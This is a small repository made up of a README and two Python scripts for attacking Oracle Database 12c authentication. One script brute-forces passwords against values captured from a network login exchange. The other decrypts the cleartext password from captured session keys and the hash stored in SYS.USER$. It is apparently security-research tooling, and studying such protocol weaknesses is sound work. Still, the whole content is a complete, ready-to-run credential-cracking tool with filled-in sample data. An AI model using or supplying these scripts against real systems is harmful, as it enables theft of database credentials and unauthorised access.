├── README.md ├── bf_12c.py └── pwd_decrypt_12c.py /README.md: -------------------------------------------------------------------------------- 1 | #Oracle Database Password Tools 2 | Oracle Database 12c password cracking script (Python) which uses data from a successful authentication network capture. 3 | Variables under "# Server authentication" and "# Client authentication" should be set to data from your capture. 4 | Also the passwords list should be initialized with your password dictionary entries. 5 | 6 | Note that this script will only work for the '12a' protocol version which is the latest as of Oracle Database 12.1.0.2. 7 | 8 | See https://www.trustwave.com/Resources/SpiderLabs-Blog/Changes-in-Oracle-Database-12c-password-hashes/ for details of 9 | password hashing in Oracle Database 12c (12.1.0.2). -------------------------------------------------------------------------------- /bf_12c.py: -------------------------------------------------------------------------------- 1 | # Oracle Database 12c password brute forcer 2 | # 3 | # Uses data from two packets from a successful authentication capture 4 | # 5 | # Rate is about 1000 passwords in less than 3 minutes 6 | # 7 | # Requires: 8 | # pbkdf2 package (https://pypi.python.org/pypi/pbkdf2) 9 | # PyCrypto package (https://pypi.python.org/pypi/pycrypto/2.6.1) 10 | 11 | # Update this to use your password dictionary 12 | passwords = ['demo', 'epsilon'] 13 | 14 | # Server authentication packet capture 15 | AUTH_VFR_DATA = 'D922FEE9F8E234A95DAC15E842476AD3' 16 | PBKDF2Salt = 'F05B0CF7F4C981D4808CF6CB4AF69639' 17 | PBKDF2SderCount = 3 18 | PBKDF2VgenCount = 4096 19 | SERVER_AUTH_SESSKEY = '8963123F6B26252274A89F99BCC0874DBC33610223E2B38B75E6A4CD6E634E43' 20 | 21 | # Client authentication response packet capture data 22 | AUTH_PASSWORD = '16F0041169FF54075D5C69695BCA25EB4BC549B53F27FA2B649C3D51D8FDF41A' 23 | CLIENT_AUTH_SESSKEY = '2C71F05311768D959E976F29ED4342DB14A89A0B3DBA6670B16CA1B037E97D49' 24 | AUTH_PBKDF2_SPEEDY_KEY = '06F63B7B21765C496285CA2A530BC145290F068DB4FE7E187759040510590BFCD66E407B70DD2F8DC4857FD2F09B9A8FAA42280BC1AB5BFBDF249DC457BF44146AA9106D827E294F50C46058F3C59FC2' 25 | 26 | 27 | import binascii 28 | import pbkdf2, hashlib, hmac 29 | from Crypto.Cipher import AES 30 | 31 | bin_salt = binascii.unhexlify(AUTH_VFR_DATA) 32 | salt = bin_salt + b'AUTH_PBKDF2_SPEEDY_KEY' 33 | bin_client_session_key = binascii.unhexlify(CLIENT_AUTH_SESSKEY) 34 | bin_server_session_key = binascii.unhexlify(SERVER_AUTH_SESSKEY) 35 | bin_PBKDF2Salt = binascii.unhexlify(PBKDF2Salt) 36 | bin_speedy_key = binascii.unhexlify(AUTH_PBKDF2_SPEEDY_KEY) 37 | bin_password = binascii.unhexlify(AUTH_PASSWORD) 38 | 39 | def TryPassword(password): 40 | key = pbkdf2.PBKDF2(password, salt, PBKDF2VgenCount, hashlib.sha512, hmac) 41 | key_64bytes = key.read(64) 42 | 43 | hash = hashlib.sha512() 44 | hash.update(key_64bytes) 45 | hash.update(bin_salt) 46 | T = hash.digest() 47 | 48 | obj = AES.new(T[0:32], AES.MODE_CBC, '\x00'*16) 49 | client_generated_random_salt = obj.decrypt(bin_client_session_key) 50 | 51 | obj = AES.new(T[0:32], AES.MODE_CBC, '\x00'*16) 52 | cryptotext = obj.decrypt(bin_server_session_key) 53 | 54 | decryption_key = pbkdf2.PBKDF2(binascii.hexlify(client_generated_random_salt + cryptotext).upper(), bin_PBKDF2Salt, PBKDF2SderCount, hashlib.sha512, hmac).read(32) 55 | 56 | #obj = AES.new(decryption_key, AES.MODE_CBC, '\x00'*16) 57 | #password_net = obj.decrypt(bin_password) 58 | #print("Decrypted password: %s" %(password_net[16:])) 59 | 60 | obj = AES.new(decryption_key, AES.MODE_CBC, '\x00'*16) 61 | cleartext = obj.decrypt(bin_speedy_key) 62 | 63 | if cleartext[16:] == key_64bytes: 64 | return True 65 | else: 66 | return False 67 | 68 | for candidate_password in passwords: 69 | if TryPassword(candidate_password): 70 | print 'Password is found: %s' %(candidate_password) 71 | quit() 72 | 73 | print 'Password not found' -------------------------------------------------------------------------------- /pwd_decrypt_12c.py: -------------------------------------------------------------------------------- 1 | # Oracle Database 12c password decryptor 2 | # 3 | # Uses data from from a successful authentication network capture 4 | # and the password hash from SYS.USER$ (only first 128 characters of the T: part) 5 | # 6 | # SELECT spare4 FROM SYS.USER$ WHERE NAME = '' 7 | # 8 | # Requires: 9 | # pbkdf2 package (https://pypi.python.org/pypi/pbkdf2) 10 | # PyCrypto package (https://pypi.python.org/pypi/pycrypto/2.6.1) 11 | 12 | 13 | import sys, getopt 14 | import binascii 15 | import pbkdf2, hashlib, hmac 16 | from Crypto.Cipher import AES 17 | 18 | 19 | def Usage(): 20 | print("pwd_decrypt_12c.py --server_auth_sesskey <...> --pbkdf2salt <...> --client_auth_sesskey <...> --auth_password <...> --t_hash <...>") 21 | print("""\nExample:\n \npwd_decrypt_12c.py --server_auth_sesskey 8963123F6B26252274A89F99BCC0874DBC33610223E2B38B75E6A4CD6E634E43 --pbkdf2salt F05B0CF7F4C981D4808CF6CB4AF69639 --client_auth_sesskey 2C71F05311768D959E976F29ED4342DB14A89A0B3DBA6670B16CA1B037E97D49 --auth_password 16F0041169FF54075D5C69695BCA25EB4BC549B53F27FA2B649C3D51D8FDF41A --t_hash 142372864D44C9E299CE90E2A593F3DB807E424D32E15DF0AE0B7819D9BBBFF9220A5FBFB1EA3F4457582267404EBC7D9EA6D4798276CB3F9927EE4C12BCD912""") 22 | 23 | def main(): 24 | 25 | # May need adjustment too 26 | PBKDF2SderCount = 3 27 | PBKDF2VgenCount = 4096 28 | T_HASH = None 29 | PBKDF2Salt = None 30 | CLIENT_AUTH_SESSKEY = None 31 | SERVER_AUTH_SESSKEY = None 32 | AUTH_PASSWORD = None 33 | 34 | try: 35 | opts, args = getopt.getopt(sys.argv[1:], "htscsp", ["help", "t_hash=", "pbkdf2salt=", "client_auth_sesskey=", "server_auth_sesskey=", "auth_password="]) 36 | except getopt.GetoptError: 37 | print("getopt.GetoptError") 38 | Usage() 39 | sys.exit(2) 40 | 41 | for opt, arg in opts: 42 | if opt in ("-h", "--help"): 43 | Usage() 44 | sys.exit() 45 | elif opt in ("-t_hash", "--t_hash"): 46 | T_HASH = arg 47 | elif opt in ("-pbkdf2salt", "--pbkdf2salt"): 48 | PBKDF2Salt = arg 49 | elif opt in ("-client_auth_sesskey", "--client_auth_sesskey"): 50 | CLIENT_AUTH_SESSKEY = arg 51 | elif opt in ("-server_auth_sesskey", "--server_auth_sesskey"): 52 | SERVER_AUTH_SESSKEY = arg 53 | elif opt in ("-auth_password", "--auth_password"): 54 | AUTH_PASSWORD = arg 55 | 56 | if (T_HASH == None or PBKDF2Salt == None or CLIENT_AUTH_SESSKEY == None or SERVER_AUTH_SESSKEY == None or AUTH_PASSWORD == None): 57 | Usage() 58 | sys.exit(2) 59 | 60 | T = binascii.unhexlify(T_HASH) 61 | 62 | bin_client_session_key = binascii.unhexlify(CLIENT_AUTH_SESSKEY) 63 | bin_server_session_key = binascii.unhexlify(SERVER_AUTH_SESSKEY) 64 | bin_PBKDF2Salt = binascii.unhexlify(PBKDF2Salt) 65 | bin_password = binascii.unhexlify(AUTH_PASSWORD) 66 | 67 | obj = AES.new(T[0:32], AES.MODE_CBC, '\x00'*16) 68 | client_generated_random_salt = obj.decrypt(bin_client_session_key) 69 | 70 | obj = AES.new(T[0:32], AES.MODE_CBC, '\x00'*16) 71 | cryptotext = obj.decrypt(bin_server_session_key) 72 | 73 | decryption_key = pbkdf2.PBKDF2(binascii.hexlify(client_generated_random_salt + cryptotext).upper(), bin_PBKDF2Salt, PBKDF2SderCount, hashlib.sha512, hmac).read(32) 74 | 75 | obj = AES.new(decryption_key, AES.MODE_CBC, '\x00'*16) 76 | password_net = obj.decrypt(bin_password) 77 | print("\n\tDecrypted password: %s" %(password_net[16:])) 78 | 79 | 80 | if __name__ == "__main__": 81 | main() --------------------------------------------------------------------------------